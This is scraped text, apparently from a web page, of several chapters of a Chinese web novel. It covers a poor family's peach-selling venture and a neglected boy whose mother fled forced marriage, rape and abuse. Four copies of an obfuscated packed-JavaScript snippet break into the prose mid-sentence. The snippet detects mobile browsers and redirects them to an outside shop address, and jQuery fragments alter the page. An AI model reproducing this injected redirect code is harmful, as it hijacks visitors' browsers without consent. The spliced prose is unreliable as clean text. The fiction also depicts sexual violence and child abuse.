RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445297|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下面是木架,上面是石板,一下被踹倒以后,石板砸在地上,碎成了几块,声音震的在场所有人浑身一颤,脸色灰白。 又有更多人围过来看热闹。 李晓言进屋后,门内侧贴着一个女人,高高瘦瘦,白白净净,不过看她穿的那身衣服,应该和外面的那些女人是一伙的。她一只手还牵着一个小孩,李晓言走进去后才看到,那小孩满脸泥浆,穿着开裆裤,可不就是早上那个小兔崽子。 小兔崽子原本傻呆呆的咬着手指,他见到李晓言后,立刻将手指拿出来,做出炸毛的小样。 李晓言扑上前抓住她爸要砸凳子的手,冷冰冰说道:“有事就好好说清楚,打架好看是吗?” 她爸被她冰冷的声音激灵了一下,斜着眼瞧她,慢慢将手上的凳子放下来。 “妈,到底咋回事?” 李晓言妈也不说话,在那里站着直抽气,满脸的怨毒。 这时,从另一扇门后面传来一个冷静又稚气的声音:“我来说吧。” 随着声音出来的是一个戴着眼镜的小男孩,乱糟糟的头发,乱糟糟的衣服,脚上穿着拖鞋,一眼看上去从上到下都是乱糟糟的观感。 “今天早上,我看见你踹了许铮一脚,我就告诉了许铮他妈,让他好好看住孩子,许铮他妈带他来讨说法,让你给许铮道歉,结果你爸妈听后开始互相指责对方没把你教好,开始只是指责对方,后来开始指责对方爹妈,然后……” 小男孩没把话说完,他叫刘家豪,是山东大娘的孙儿,也算是李晓言家的小房东。 虽然刚读完小学,但整个人有种异常冷静的气质和条理清晰的思维,他是棚户区人尽皆知的书呆子,李晓言家搬来时,他从窗户里偷偷看过李晓言,不过李晓言今天是第一次看见他。 李晓言:“你哪位?” 刘家豪:“我叫刘家豪,刘备的刘,家国的家,豪迈的豪。” 李晓言:“哦~~~你只看见我踹他,那我为什么踹他你看见没有?” 刘家豪扶了扶眼镜:“没有。所以我也跟许铮妈说过,先过来问清楚再说。”在李晓言锐利如刀的目光中,刘家豪全程端肃镇定,脸上没有半丝波澜,好像法庭上的辩护律师。 李晓言走到那高瘦女人身边,看了看她边上的炸毛小兽,冷笑道:“那小眼镜说的不错,你确实应该好好看住他。” 说完,她把自己的一只腿抬了起来,用手勾住脚踝,单腿跳着在那些女人面前晃了一圈:“看见这个牙印没有,就是他咬的,我早上出门的时候看见他在吃泥巴,就好心把泥巴打掉,谁知道他扑上来就咬我,我扒不下来,只是轻轻踹了他一脚,谁该给谁道歉,你们说吧?” 众人一时语塞,那牙印看上去确实是小孩子的齿形,而且许铮的脑子有点问题是众所周知的事,吃泥巴也不是一两次了,这么一看,倒真有可能是许铮对不住别人在先。 有时候,刚想睡就有人递枕头。李晓言还在为自己洗刷冤屈,谁知道她那一跳一跳的动作不知道刺痛了许铮哪根神经,他又想起了早上李晓言后跳几步时他被拖着在地上磨,屁股蛋子被沙石刺痛的感觉。 他双眼炯炯,像是盯住了猎物的小豹,趁他妈一松手的间隙,他黑旋风一般窜出去,张开嘴就叼住了李晓言站地上的那只腿,李晓言还没反应过来,周围就叫嚷起来,过了两秒,李晓言凄厉的惨叫声就充斥了整个屋子,几乎要把屋顶冲翻。 “啊~你到底有什么毛病,属狗的是吧?!”李晓言也顾不得在人前假装矜持了,直接骂了出声。 于是,两条腿都盖上了牙印,凑了个双喜临门,祸不单行。 5. 第 5 章 看戏的渐渐散场了,那些来声援许铮妈的女人们也依次回到了自己的盘丝洞,开始编网捕虫、开门迎客。 许铮妈也要赶回去做生意,赶紧按着许铮的脑袋给李晓言道歉,但许铮梗着脖子就是不往下弯一点点。 李晓言看着他宁死不屈的小样,都把自己看笑了,她坐在凳上吹着自己的腿,疼痛感渐消。许铮第一次看见李晓言笑,却像被一道雷电从头劈到脚,棒槌似的杵在那里,鼓大眼睛看着李晓言。 在他有限的人生经历中,他看过几种表情:愁苦的、悲痛的、狠毒的、迷醉的、衰老的……就算是笑,他也只记得两种,苦涩的笑和虚假的笑。这是他第一次看见一种有别于之前所有表情的笑容,像是阴云密布的天空中突然露出的一丝天光,哪怕只出现几秒钟,又重新被阴云覆盖,但也足够让许铮幼小没见识的心灵发生一场大地震。 这时候的许铮还不知道如何描述,当他长大了能够熟练使用语言时,他觉得那天的几秒钟应该是他人生中初次觉得,原来这个世界还有“美好”二字的存在,原来这个世界还有值得为之一活的存在。 李晓言自然读不懂小男孩的心思,她只是从许铮的表情上下了个断定:糟了,这狗崽子以后一定会死盯我了,我得躲远点。 许铮妈从衣兜里拿出十块钱,塞到吴贵芬手中:“实在对不住,实在对不住,小铮脑子有点问题,平时谁叫他都没反应,我真的没想到他会先咬人,是我弄错了,这点钱给丫头买点膏药吧,不够我再补上。” 吴贵芬愣了一秒钟,迅速把钱塞到许铮妈的衣兜里:“行了,小孩子哪有不打架的,不打架才不正常,也没咬出血,她过两天就好了,用膏药浪费了。钱你自己留着,这年头谁挣钱都不容易。” 这年头大家都穷,大部分都是从村里山上出来讨生活的,都明白对方的艰难,吴贵芬知道这女人干的是什么行当,儿子又是个傻子,更心酸,无论如何也收不下这个钱。 许铮妈轻轻点头,说道:“以后用的住的地方尽管说,我要先回去了,给你们添麻烦了。” 说完,她便拉着许铮走出了门,拐出了巷子,身影消失在拐角处。 “哎,造孽啊造孽。”吴贵芬一唱三叹,拿着扫帚开始扫地,又瞪了李长青一眼,吼道,“杵在那里做什么,还不出去找块石板回来,不然中午就得蹲在地上吃。” 李长青悻悻而出,李晓言帮着她妈打扫,准备过两天再说退学的事,这个家如果一天之内要经历两次火山爆发,估计会崩塌。 许铮妈把许铮领回去后,火速给他喂了两口饭,又自己扒了两口,她怕许铮又像今天早上一样偷偷跑出去,便把他绑在一个逼仄的小灶间里。还好许铮傻,就算把他绑住,他也不吭声,脸上木木的。 这孩子,好像天生不知道哭,不知道笑,没有一点作为人类的情感,就算以前被他爸用皮带抽打时,他也不吭声,好像不知道痛。 以前山村里的道士先生说他是中邪了,后来许铮妈逃到城里来后,把许铮送去医院检查过一次,医生说他身体没毛病,可能是精神和心理上的问题,建议带去省城找大医院看看,但许铮妈哪里来的钱去省城,她觉得自己儿子虽然是个傻子,但只要是个活物,她心里就是热乎的,有盼头,便仍旧带在身边养,没有把他扔了。 养活他并不难,给两口饭菜就行,唯一麻烦的是许铮学不会上厕所,每次都尿在床上和裤子里,许铮妈不可能一直看着他,所以就只能给他穿开裆裤,一直到现在五岁多了还没脱下来。 许铮妈给屋前的管仲像上了两炷香后,便打开门露出一个细缝,表示自己开门营业了。那管仲像是她刚做这行时一个小姐妹说的,说这个人就是这个行当的开山鼻祖,越拜生意越好。 她是个没读过两年书的山上女人,自然是相信鬼神的,便请了一座像回来,生意果然也越来越好。 那时候还没有严打,销金窟东一个西一个,也分个三六九等。最上等的自然是会所,中等的是各种“洗脚房”“按摩店”“理发店”,最下等的就是这种棚户区里的“红灯区”,服务对象为周边各种农民工。 有工厂工人,有车夫,有司机,有搬运工……时间大多很快,从几分钟到半个小时不等,费用也从五块到五十块不等,这些工人也忙着干活挣钱,只是憋得急的时候进去解决一下,事后也要着急忙慌出来抢活计。 许铮的妈是从山上逃下来的,她长得出挑,出嫁前不少人相中她,但她妈子女多,不怎么待见她,便从中选了一个彩礼钱给的最多的把她嫁出去了。出嫁那天她才知道,她被嫁到更偏远的深山老林子去了,那个地方娶媳妇儿难,这份还算丰厚的彩礼钱是那家人东拼西凑才有的。 许铮妈哭喊着要撞墙,但她娘家人已经扔下她走了,她给那家人捆在了床上,扒开了衣服,掰开了大腿……她至今不愿意回想那晚的光景,男人的父母在边上帮忙,其他人在外面透着窗户嬉笑着围观,叫天天不应,叫地地不灵,她唯一能想到的只有死。 此后的日子是怎么过来的,她已经有点记不大清,她被捆了一个多月,行尸走肉般的活着,某一日还来了那个男人的舅舅,他趁着这家人进城赶集,偷偷摸进来快速完事,做完了还甩了女人一巴掌,警告她别话多。 后来,许铮妈怀孕了,八个月后早产生下了许铮。村里唯一读过书的道士先生给他取了个“铮”字,寓意铮铮铁骨——骨头硬以后才能多干点活,多干活才能多挣钱,才能养活他全家。 一岁前的许铮也过过好日子,有糖吃,有衣穿,有人逗他玩,直到一岁以后,许铮表现出异于常人的特质,他的好日子便从此划上了句号。 他成了除了他妈以外,那帮人的第二个发泄对象。不过他妈供他们发泄欲望,而他供他们发泄暴力。 扇耳光用皮带抽都是家常便饭,更有甚者,他那个爹有一天被伺候的不太舒服,便把一壶烧的滚烫的开水浇在许铮胳膊上,他妈赶紧从床上跳起来,从床下摸出一把她打算用来自杀的长尖刀,然后眼也不眨的刺中了那男人的肚子,紧接着又补了两刀。 还好那晚附近没人,她在长久的折磨练就了一种奇特的镇定,迅速将抽搐的男人拉到床板下,把那壶开水浇到他嘴里,看着他痛苦绝望的看着自己,直至昏迷。 许铮妈把血迹擦干净以后,拿了几件衣服和几块钱,便裹着许铮跑了,她一直跑一直跑,呼哧呼哧直喘气,许铮黑亮的眸子抬头盯着他母亲的俏丽的下巴,和天上的明月,他不明白发生了什么,但有股莫名奇妙的宁静在心里流淌。 宁静至极,反而生出了一丝喜悦。 老天爷或许是见她太可怜了,女人刚跑到大路上没多久,就有一辆拉着满车猪的小货车路过,司机停了下来,女人急忙祈求:“我儿子病了,师傅能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445298|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能搭载我一程?” 司机打着手电筒,看了一眼许铮被烫伤的胳膊,又看见女人衣角的血迹,大致明白发生了什么,他挥挥手让女人去后面,女人便急忙抱着许铮和那些猪挤在了一起。 司机加快速度往城里去,此时是凌晨两点,他开了将近四个小时才到,他在一个公共厕所处把许铮母子放下,看了看四周,悄声说道:“大妹子,你先去厕所里把衣服换了,别让别人看见,然后边上有个小诊所,换完衣服带娃去看看,这里十块钱,要是看完病还能剩下,就自己买点吃的。这个小城不太安全,你要是能找份活干存点钱,就尽量往省城去,他们找不到人也就算了,哥只能帮你到这里了。” 许铮妈眼眶一热,膝盖一弯,顿然跪在了地上,给这个司机大哥结结实实磕了两下头,砰砰作响。 还好周围人少,司机立马拉起她:“别磕别磕,我可受不起,总之,你为了你娃,也想办法活下去吧。”说完,他便跳上了小货车,往猪肉加工厂去了。 后来,许铮妈发现要想在城里活下去也很难,尤其是她还带了个脑子有问题的小娃,人生地不熟,也没人给她介绍合适的活计,她便捡起了垃圾。捡了没多久她就发现山上那群人下来了,他们也不傻,专找捡垃圾的人瞧,随行的还有几个警察。 许铮妈吓坏了,赶紧跑到一个犄角旮旯躲起来,躲了好几天,饿得奄奄一息时,才被一个棚户区的小姐妹发现,她听完原因后把她们藏在了棚户区的出租屋里,又过了足足一个月,确定大街上没人再找时,才把她放出来。 小姐妹问她:“姐,你要实在没法了,就做我们这行成吗,比打工挣得多,还有多余的时间带孩子,就是比正经人都要下贱些,这辈子怕是没人瞧得起。” 许铮妈哭笑着点头:“我早就觉得自己已经死了,不在乎贱不贱的,能活下去就成,我想看着小铮长大。” 倘若自己也倒下了,小铮就会变成流浪娃,在某个角落饿死冻死,所以她怎样都要咬牙活下去,只要比小铮多活一天就成。 于是,许铮妈也入住了棚户区,成了这里的一只鸡。 这个棚户区住着三教九流各种人,平时也常有摩擦,但也有一种心照不宣的互相维护的义气,所以后来山上那帮人来这里打探时,碰了一鼻子灰,得到的答案都是:“没有,没听过。” …… 小铮被绑在灶间,听着屋里翻云覆雨的喘息声,他对这种声音已经习惯了,他本能的知道这种声音是假装出来的,因为在山上,他从来没见他母亲这么哼哼唧唧过,都是咬着牙一脸行将就木的表情。 所有人都当他是傻子,所谓的傻子,就是对周围的事一概不知,一概不能理解,也不能表达。 但他们不知道“傻”分很多种,许铮的“傻”更像是上帝给他建造了一个透明的城堡,他在城堡内清清楚楚,明明白白看见了周围发生的一切,但他坐在城堡中央,感觉那些事和自己隔了一层很厚的玻璃,好像都与自己无关,就算强迫自己发生连接,也连接不到外界的喜怒哀乐。 直到今天早上,他手里的泥巴被那人打掉时,他才第一次有了关于外界的实感,好像有个人破门而入,刮进了外面世界的风,他第一次听见外界的喧嚣,第一次感受到身体的痛感,第一次体会到被雷电劈中的感觉。 他的玻璃城堡虽然还没倒,但也不像从前那么无坚不摧了。 6. 第 6 章 草草吃完饭,李晓言一家人就围坐在一起商量生计问题。 李长青虽然看上去不着调,从来不肯像其他男人一样静下心来专研一门吃饭技能,喜欢到处溜达鬼混光阴,但在那些鬼混中,却意外拓宽了眼界,增长了见闻,知道了许多别的行业行情。 吴贵芬性格坚韧强势,好像狂风暴雨也折不断,但她这些年一门心思做缫丝女工,知道怎么灵巧快速的从蚕茧里抽出丝来,也知道怎么将一分钱掰成八瓣花,维持这个家的运转,却对她那一亩三分地以外的事所知甚少,心里免不了七上八下响鼓重锤。 那天掷地有声说绝不回去的是她,今天每隔几分钟打一次退堂鼓的也是她。 李长青:“卖酒赚不了多少钱,混我一个人的吃喝没问题,但要混全家的生计就算了,真要赚钱只能去勾兑假酒,但那是犯法要坐牢的,还是走正路来的踏实。” 吴贵芬赶紧点头:“对对,哪怕赚的少每天吃糠都没关系,咱不能走歪路。” 李长青思索一下:“开饭馆投资太大,要租铺子,要买锅碗瓢盆桌椅板凳,恐怕我们把所有钱砸进去都不够,而且我们做的饭也不怎么好。” 这一点李晓言倒是很有共鸣,他们一家三口好像在做饭上面都天生少根筋,也吃的糙,饿不死就行。 吴贵芬犯了难,愁眉紧锁,好像哪儿都没有路。 “卖菜呢?”她怯怯的问道。 李长青当即否定:“附近那么多有地的农民天天大清早三四点就来卖菜,你在附近又没地,回家种好再送来的话油费也摊多了,能跟谁竞争?” “总之,要想一个本钱小,又能长久的。” 三人沉默了下来,李长青脑子飞转,把这几年他见过的行业都过了一遍,一个个做筛选,最后突然想到了一个场景——那是一个老头载着一筐桃,有许多赶车的人买来解渴,他那天也买了两个来解渴,然后多留了一会儿,只是短短一个多小时,那框桃就卖完了,老头哼着曲儿慢悠悠回山上了。 “啪”的一声响,李长青兴奋的拍了一下大腿:“我想到了,我们就卖水果。” 吴贵芬怔愣了一下,在她的观念里,她不明白人为什么要吃水果,那个年代能吃饱饭就不错了,她自己绝不会花钱买这些看上去毫无用处的东西,因此她也理所当然的认为别人都和她一样,绝不会做这种把钱烧出去的傻事。 一叶障目,不见泰山。这是每个穷人都会有的根深蒂固的偏见,在吴贵芬身上体现的淋漓尽致。 “这能有几个人买,大家都吃不起饭了,还有人买水果?” 李长青白了她一眼:“我说你头发长见识短你还嘴犟,你以为你穷别人都穷?你抠别人都抠?我跟你分析一下,这附近不是有个三岔路口么,还有那么多大巴车在那里停留等客,人流量大,总会有生意做,那么多人里面总有那么一些是在别处捞到钱的,我们要赚的就是他们的钱。” 吴贵芬还是有点犹豫不决,李晓言想了几秒钟,望着她爸:“我看行,而且本钱不大,先少进点货试试看。” 看着家里的两个人都拍板了,吴贵芬被架上了梁山,不得不跟着疯一回,她攥紧拳头绞着裤子,咬牙说道:“好,那就先试试,你看大概要多少钱,我数给你。” 李长青:“我看桃卖的不错,我去山上收一下桃,市价一块一斤,我去先买个一百斤回来,再加上路费和吃喝,你就拿一百五十块给我。” 吴贵芬站起身走回屋,从她一件破烂衣服的内兜里拿出一串钥匙,又从立柜上面的角落里摸出一个锈迹斑驳的铁桶,打开桶以后,从里面一堆乱七八糟的杂物里摸出一把小钥匙,然后用这把小钥匙去开一个藏在床底的木柜…… 就算是李长青在这个屋檐下和她共同生活了许多年,也完全不知道她到底把钱藏在了哪里。 吴贵芬把零零碎碎的一百五十块交给李长青,然后对李晓言说:“你跟你爸一起去,别让他喝酒,也别让他赌钱。” 得嘞,还要派个监军。 一心向钱看的李晓言同学乐得大跳起来:“保证完成任务!” 于是,父女二人下午便出发了,他们先去租了个小货车,因为是同乡的熟人,没收押金,加满油以后便朝山上坎坎坷坷开去了。 这一去,就是满打满算的两天。到了第三天中午,李晓言父女俩终于回来了,因为没有电话,吴贵芬在家里担惊受怕的两天两夜,晚上一分钟都没敢合眼,当她看见两个人盯着鸡窝头,沾了满身灰出现在门口时,险些没飙出泪来。 “你们怎么去了那么久啊,我都快急疯了,还想着再不回来就报警了,怎么弄成这样……” 她妈絮絮叨叨个没完,李晓言直接捂住耳朵:“还让不让人活了,妈,背篼呢?” 吴贵芬赶紧把准备好的两个背篼拿出来,李晓言父女俩一人一个,去外面小货车上把那些桃给挪到背篼里。 因为小巷子窄的很,货车进不来,只能在那棵歪脖子树前面的平坝上停着,吴贵芬一看那些桃,顿时蔫了。桃长得不太好看,有点小,有点丑,跟那些店铺里摆卖的差了十万八千里,吴贵芬是个标准的颜值党,不管是对人还是对物,所以心里凉凉的。 “咋买了这么丑的?” 李长青边装桃边说道:“别看它丑,味道甜的很。那些长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445299|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看的都被搞批发的和有铺面的收走了,我们买的少,所以那些人就故意抬价,我们走了好几个村,才买到这个味道和价格都不错的,这点差不多有一百五十斤。” 装完桃后,李晓言和她爸一人一背篼往家里背,她第一次干这种重活,有点找不到巧力,刚往肩上背时,起身猛了,踉跄了几步,几乎要往后面栽过去。 她妈和她爸都离她一段距离,鞭长莫及,眼看着李晓言连人带桃都要倒地时,她妈“啊”的一声嚎出来,往李晓言冲去。 但是李晓言并没有倒地,有人在她背后撑住了框,又推了她屁股一把,把她的重心推到了前面。 李晓言稳住了身子,扭头看后面,有些不敢相信。 桃框下面有个小孩正举着双手,顶着脑袋,憋红了脸支撑着那个桃框。 他的脸已经洗干净了,清秀可爱的很,眉是眉,眼是眼,鼻子是鼻子,如果不是那个露着小鸟的傻逼开裆裤,李晓言都一时没认出来他是谁。 “许铮?”愣了好几秒,李晓言终于认出来了。 许铮在桃框下面,露不出脸来,李晓言便往前走了两步,想把他从框下解放出来,谁知道那倒霉孩子竟然没有撒手,还是连手带头顶着框,跟着李晓言往前走。 李晓言傻了,吴贵芬也看傻了,竟然一时间忘了去把许铮扯出来。 这几天父女二人不在家,她一个人待着心里发慌,便天天溜达出来和山东大娘那帮人一起剥豆子,听了这棚户区的许多故事,其中自然也包括许铮母子的。 她也曾经喊过许铮,尝试抱过许铮,想给他糖吃,但许铮整个人毫无反应,木木呆呆的,好像不知道他周围有人,每天固定不动的到歪脖子树下掏泥巴,他妈给他的嘴贴了胶布,以一种最拙劣的办法防止他吞泥巴。 她方才看明白了,许铮应该是躲在长草里,看见李晓言要栽倒后就飞快窜了出来,像兔子似的,伸手撑住了那个框。 吴贵芬蹲下去,欢天喜地道:“原来孩子你是知道事的。”她把许铮往外扯,许铮却懵懵的一动不动,她稍一使劲,还是把他扯出来了。 许铮缓缓的把头扭向李晓言,他嘴上还有胶布,双颊泛红,看上去有些喜感,只在看到李晓言时,无神的双眼才闪过一丝异常的光亮。 李晓言哈哈大笑两声,伸手从背篼里拿出一个桃,丢到许铮面前:“拿着,姐谢你的,洗过再吃,别粘满嘴毛。” 说完,她就背着框往家去了,吴贵芬捡起桃,擦了两下放到她手里,也赶紧跟回去了。 许铮的两只小手掌合在一起捧着桃,放在眼前端详了好一会儿,才颠儿颠儿往家去。 7. 第 7 章 许铮妈刚完事一个,这几天生意不太好,气有点不顺,就穿好衣服坐在屋里休息,当她看见许铮捧着桃走到她跟前,巴巴看着她时,第一反应竟然是她这个傻儿子居然学会偷东西了。 她一下撕开许铮嘴上的胶布,扯着他质问道:“这是哪里来的,快说,是不是去别人家偷的,你说不说?” 许铮哪里说的出来话,他只是木然的看着他母亲,眼神清冷似水。 许铮妈急哭了,把许铮打横过来放在在大腿上,挥着手就往他屁股上招呼:“好啊你,都学会偷鸡摸狗了,小时候偷针,长大了偷金,等你以后坐牢了谁管你,脑子坏心也坏,我养你做什么,还不如养条狗,你跟你爸一个货色。” 许铮妈以为他听不懂,不知道痛,就把这些日子积压的怒火焦虑都撒到她儿子身上,她也知道自己这两年脾气越来越大了,越来越容易陷入焦虑愤怒的情绪,她不知道为什么日子好过了自己还会这么难受,所以只能把气都出在这个傻儿子身上。 许铮一声不吭的听着那些骂他的脏话,那些话在他这里是断片的,连不成一个有逻辑意义的实体,但那个桃被他母亲使劲摔在地上,摔了个稀烂,他盯着那个歇菜的桃,好像掉进了一个冰窟里,顶上全是压得人喘不过气来的暗云汹涌。 …… 李长青还了小货车,付了租金之后,回到家和李晓言一起算成本,桃的进价是3毛5,把运费和损耗算上,差不多投6毛一斤。 “那就卖一块吧,如果都能卖完,能赚四五十呢,不少了。” 那时候吴贵芬在缫丝厂的工资是70块一个月,如果这些桃两三天内能卖完,那就相当于一个星期内赚了四五十。吴贵芬有些眩晕,仿佛看着大红的毛爷爷正在前方向她招手,有些不真实。 “走,现在就去,桃不禁留,要快点卖完才行。” 一家人赶紧整装出发,父女俩背桃,吴贵芬拿着口袋和杆秤,在经过一个巷口时,还隐约听见女人歇斯底里的叫骂哭喊声,听的人心寒。 吴贵芬侧耳一听:“好像是那个小傻子的妈,她在打他。” 李晓言眉头一凝,朝深巷里望去,长长的巷子幽深晦暗,有股难以言述的压抑。 “听起来打得还挺很,那傻逼孩子怎么都不知道吭一声?”她心里这么想着,觉得堵的慌,痛苦的事她见的多了,但面对痛苦这么逆来顺受的她还是第一次见,觉得许铮都快百忍成仙了。 李长青催促道:“别人家的事少管,快走快走。” 三人重新出发,急急忙忙在坑洼不平的路上走着,还好那个三岔口离得近,只走了一条街便到了,有两辆大巴车停在那里等客人,车附近有卖玉米饼的,有卖面的,有卖烟的……也有一个卖水果的。 熟话说得好,卖石灰的讨厌卖面粉的,更何况是同行,那是一见面就自动结下了怨。那个卖水果的也是两口子,长得蛮横,女的长脸龅牙,眼角往下耷拉,男的宽皮大脸,堆满了横肉。两人都目中含刀射向了李晓言一家,带着几分警惕。 不过他们的生意排面明显要比李晓言家大一些,他们有两辆自行车,每个自行车上摆了两个筐,所以一共有四个筐,里面有四种不同的水果——苹果、梨、桃还有几个西瓜。 他们的桃比李晓言家要漂亮一些,也卖一块钱一斤。 最前面的位置已经被占了,所以他们只能在后面摆放两个筐。也有人来问,但一听说一块钱一斤就瘪瘪嘴走了,遇到个别脾气差的还嘟囔一句:“人家那个桃比你们好都才卖一块,你们这个哪里值得起。” 买水果的人确实不多,其中百分之九十九都在前面买了,李长青把价格降到八毛五分后才终于开张一个,而且煮熟的鸭子到嘴边还飞了,因为他们算的慢,上称后三斤四两,李长青还在算呢,那大巴车就发动引擎,轰轰作响,客人也不要桃了,拔腿就跑冲上了车。 他们凉飕飕的看着前面那两口子,不管几斤几两,卖多少钱一斤,几乎刚一过称,两人就把总价算出来了,又快又准。 李晓言觉得脸上红辣,她数学是出了名的好,结果连两个小商贩都算不过,她自己清楚速算不等于数学,但她爸妈却不清楚,开张生意黄了后忍不住埋怨她两句。 “你读那么多年书还算不出来,白读了。” “晓言,你不是数学还不错吗,怎么会考试却不会用,读傻了。” 李晓言听得芒刺在背,心情不好就开口回怼:“是,我读傻了,那我就不读了,放完假就退学,还省钱。” 她爸一听就炸了:“说了两句你还不乐意了,你做对什么了,当自己是皇帝的女儿,想干啥就干啥?” 李晓言面色如土,但她觉得在外面吵架很掉分,尤其是像现在这种状况,简直是在给别人演笑话,便生生吞了涌上喉咙的火气,走到后面的一块石头上坐下,双手托腮,瞅着前面。 少女在她十三岁的年纪,就学会了控制情绪,什么都往心里吞,原本俊俏的五官也不自主的染上几分严肃冷峻,连她自己也察觉不到。 一直到末班车开走,李晓言家一共做成了两笔生意,价格一降再降,最后降成了七毛五。 那两口子的四个筐几乎都见底了,便笑嘻嘻推着自行车准备回家,走之前还不忘关照一下同行,特地过来跟李长青妈安慰道:“你们这桃没买好,不漂亮,下次别买这种了。” 李长青不理他,昂着头看着前方,还是吴贵芬不尴不尬应了一句:“刚做生意,不太懂。” “呵呵,都这样,都这样。一会儿这里就没人了,你们也快点收摊吧,晚上不安全。” 他说完便哼着小曲走了,喜悦的小曲和门庭冷落的凄凉形成了强烈反差,越发唱的人心寒。 吴贵芬看着那两筐丑桃,想着那一百五十块打了水漂,心里像挨了几刀那么疼,止不住抱怨:“说了让你买好看点的,你看你买的都是什么货色……” 李长青攥紧拳头,右脚使劲一跺地:“闭嘴!再说话我把这两筐桃都踹翻。” 吴贵芬双眼一瞪:“你跟谁发气?自己没脑子还怪别人……” 李晓言坐在后面看着这场骂战,几乎心如止水,不仅如止水,甚至还有点想笑,她第一次意识到,其实成年人也不怎么样,遇见问题就被情绪牵着走,在情绪中沉沦,好像被命运提着一块葫芦卜,在前面引着团团转。 她刚一想到这里,就猛然想到自己那天在学校里被激发出来的情绪,不也是被命运耍弄的团团转。 趁着李晓言父母还没踹翻两个筐时,李晓言上去把她爸拉开,她身子还没长熟,手劲却不小,她爸被抓着猛地往后退了两步,差点没站住。 李长青:“反了你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445300|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李晓言:“闭嘴!” 她端出一张冷酷无情,六亲不认的脸,让她爸妈瞬间哑了火。 这孩子虽然一直不大温顺,偶尔炸炸毛,但这一瞬间,几乎是让人不容置喙的坚硬如冰,完全不像个十三岁的少女。 她从她妈手里扯过杆秤:“妈,你回去做饭,做好了端来。桃不禁放,今晚我跟我爸在这里守夜,他不守我就自己守。对了,拿两把刀来,以防万一。” 这个时候晚上常有打架斗殴事件,大大小小的老板抢地盘,下面养的打手互相火拼,有许多社会闲散人员以此为生,有一些男孩和李晓言差不多大,家里实在穷的揭不开锅给逼的。 吴贵芬本想说“算了,还是命重要”,但看着女儿尖冷锋利的眼神,又呐口不言,迈着小碎步飞奔回去了。 其实李晓言心里是有算计的,晚上虽然危险,但晚上也有机会,那些歌舞厅就是晚上营业,大约三四点的时候那些醉鬼才从里面摇摇晃晃出来。能在那种地方醉生梦死的都不差钱,所以不会为了鸡零狗碎几毛钱去讲价,而且晚上黑,他们看不见桃长什么样。 这是在刀尖上求财,一般人不敢,但像李晓言这样要钱不要命的就敢。 天慢慢黑了,一直到晚上十二点,他们一个生意也没有,这个三岔路附近有五个歌舞厅,李晓言特地把筐挪到路口显眼的地方。 她爸和她都坐在石头上守株待兔,她妈回家睡不着,心里发慌,便拿着一张席子,在父女二人背后的一个屋檐下铺开睡了,像个流浪汉那样,虽然睡不着,心里却踏实了许多。 一家人换着休息,差不多熬到晚上三点多,果然如李晓言所想,那些喝的面红耳赤的醉鬼们陆陆续续出来了,有的后面跟着小弟,有的左拥右抱搂着歌舞厅小姐。 他们看见了李晓言的摊,正好口渴了,便接二连三走过来买桃,这些人也不上称,就每个人拿两个,然后问李晓言多少钱,直接从兜里掏出碎钱扔给李晓言,哗啦啦从她身上滚落到地上。 他们笑哈哈走了,李晓言像被铁汁子从头淋到脚,呆立几秒,然后弯下身去捡那些碎钱,折好后放进兜里。 “这算啥!?”她冷笑着对自己说,“你不是要去卖身么,这还赶不上卖身的十分之一呢。” 看着有生意,连她妈也精神了,赶紧过来帮着一起卖,一直到凌晨四点多,一个歌舞厅的小妹把最后一点尾货都扫光,他们这第一笔买卖才算大功告成。 李长青妈背着框,喜气洋洋的在前面走,李晓言在后面跟着,手里拎着两把刀,有些虚脱,她神经紧张了一晚上,现在终于放松下来,便有些不由自主的飘浮。 回到家,在灯光下一数,抛去成本,这两筐桃净赚了九十五,这可把吴贵芬乐开了花,双眼笑成了月牙状,李长青也挺神气,洋洋自得开始往自己脸上抹金:“我说了吧,肯定行的,听我的错不了。” “呸,你想抢功劳也要看看正主在不在,这多亏了晓言,没想到晚上的生意这么好做。” 李晓言看着她爸妈笑意盎然的模样,突然有点慌,忍不住提醒:“晚上那个钱,挣得危险,以后要想办法在白天挣钱才是出路。” “对,对,晓言说的对。”吴贵芬喜气洋洋的应和道,显然没有认认真真听进去她说的意思,李晓言有些无奈,就去洗漱睡觉了,她是真累了。 8. 第 8 章 